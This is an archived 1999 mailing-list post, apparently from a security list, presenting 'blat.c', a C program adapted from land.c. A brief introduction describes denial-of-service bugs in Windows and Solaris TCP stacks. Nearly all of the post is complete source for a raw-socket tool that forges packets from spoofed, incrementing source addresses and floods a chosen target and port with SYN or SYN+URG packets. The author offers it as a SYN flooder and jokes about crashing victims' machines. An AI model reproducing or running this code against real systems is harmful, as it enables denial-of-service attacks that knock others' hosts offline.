blat.c

From: Loneguard (loneguardat_private)
Date: Fri Dec 31 1999 - 17:45:23 PST

  • Next message: Pavel Machek: "Re: strace can lie"

    blat.c was originally born out of some firewall 'exercising' that
    I was doing. More on that at a later date, but I came across an
    amusing bug in some windoze IP stacks and a nasty one in slowaris.
    
    The code below is just land.c slightly modified to trigger the bugs
    and can be used as a brain dead SYN flooder. The windoze bug seems to
    have now been fixed but went like this....after receiving a large
    number of TCP open requests left in the SYN state, the TCP portion of
    the IP stack would cease to work. ICMP, udp etc were fine but no
    new incoming or outgoing TCP sessions work.
    
    Further research lead to the slowaris DoS regarding its handling of
    TCP open requests with the urg flag set. It would seem the IP stack
    reserves resources for such an urgent open request and after
    receiving a large number, it ceases to respond. To make things
    worse, if the admin of the box you blat HUPs the controlling process,
    it panics. :) oops.
    
    /* blat.c by Loneguard 14/01/99 ( based on land.c by m3lt, FLC ) */
    
    #include <stdio.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/ip_tcp.h>
    #include <netinet/protocols.h>
    
    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };
    
    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;
    
            for(i=0;i<(length>>1);i++)
                    value+=data[i];
    
            if((length&1)==1)
                    value+=(data[i]<<8);
    
            value=(value&65535)+(value>>16);
    
            return(~value);
    }
    
    int main(int argc,char * * argv)
    {
            struct sockaddr_in sin;
            struct sockaddr_in sin2;
            struct hostent * hoste;
            int sock,i;
    	int foobart=1000;
    	u_char foobarflags=TH_SYN;
            char buffer[40];
            struct iphdr * ipheader=(struct iphdr *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
            struct pseudohdr pseudoheader;
    
            fprintf(stderr,"blat.c by Loneguard\n");
    
            if(argc<4)
            {
                    fprintf(stderr,"usage: %s [source IP] [target IP] [port] <reps> <urg>\n",argv[0]);
                    return(-1);
            }
    
            bzero(&sin,sizeof(struct sockaddr_in));
            sin.sin_family=AF_INET;
            bzero(&sin2,sizeof(struct sockaddr_in));
            sin2.sin_family=AF_INET;
    
            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&sin2.sin_addr,hoste->h_length);
            else if((sin2.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }
    
            if((hoste=gethostbyname(argv[2]))!=NULL)
                    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
            else if((sin.sin_addr.s_addr=inet_addr(argv[2]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[2]);
                    return(-1);
            }
    
            if((sin.sin_port=htons(atoi(argv[3])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[3]);
                    return(-1);
            }
    
    	if (argc>=5) foobart=atoi(argv[4]);
    
    	if (argc>=6) foobarflags=0x22;
    
            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }
    
    	for ( i=0;i<foobart;i++ ) {
    
    		sin2.sin_addr.s_addr=htonl(ntohl(sin2.sin_addr.s_addr)+1);
    
            	bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
            	ipheader->version=4;
            	ipheader->ihl=sizeof(struct iphdr)/4;
            	ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
            	ipheader->id=htons(0xF1C);
            	ipheader->ttl=255;
            	ipheader->protocol=IP_TCP;
            	ipheader->saddr=sin2.sin_addr.s_addr;
            	ipheader->daddr=sin.sin_addr.s_addr;
    
            	tcpheader->th_sport=sin.sin_port;
            	tcpheader->th_dport=sin.sin_port;
            	tcpheader->th_seq=htonl(0xF1C);
            	/* tcpheader->th_flags=TH_SYN&&TH_URG; */
            	tcpheader->th_flags=foobarflags;
            	tcpheader->th_off=sizeof(struct tcphdr)/4;
            	tcpheader->th_win=htons(2048);
    		tcpheader->th_urp=htons(666);
    	
            	bzero(&pseudoheader,12+sizeof(struct tcphdr));
            	pseudoheader.saddr.s_addr=sin2.sin_addr.s_addr;
            	pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
            	pseudoheader.protocol=6;
            	pseudoheader.length=htons(sizeof(struct tcphdr));
            	bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
            	tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    	
            	if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
            	{
                    	fprintf(stderr,"couldn't send packet\n");
                    	return(-1);
            	}
    	}
    
            fprintf(stderr,"%s:%s blated!\n",argv[2],argv[3]);
    
            close(sock);
            return(0);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:25:29 PDT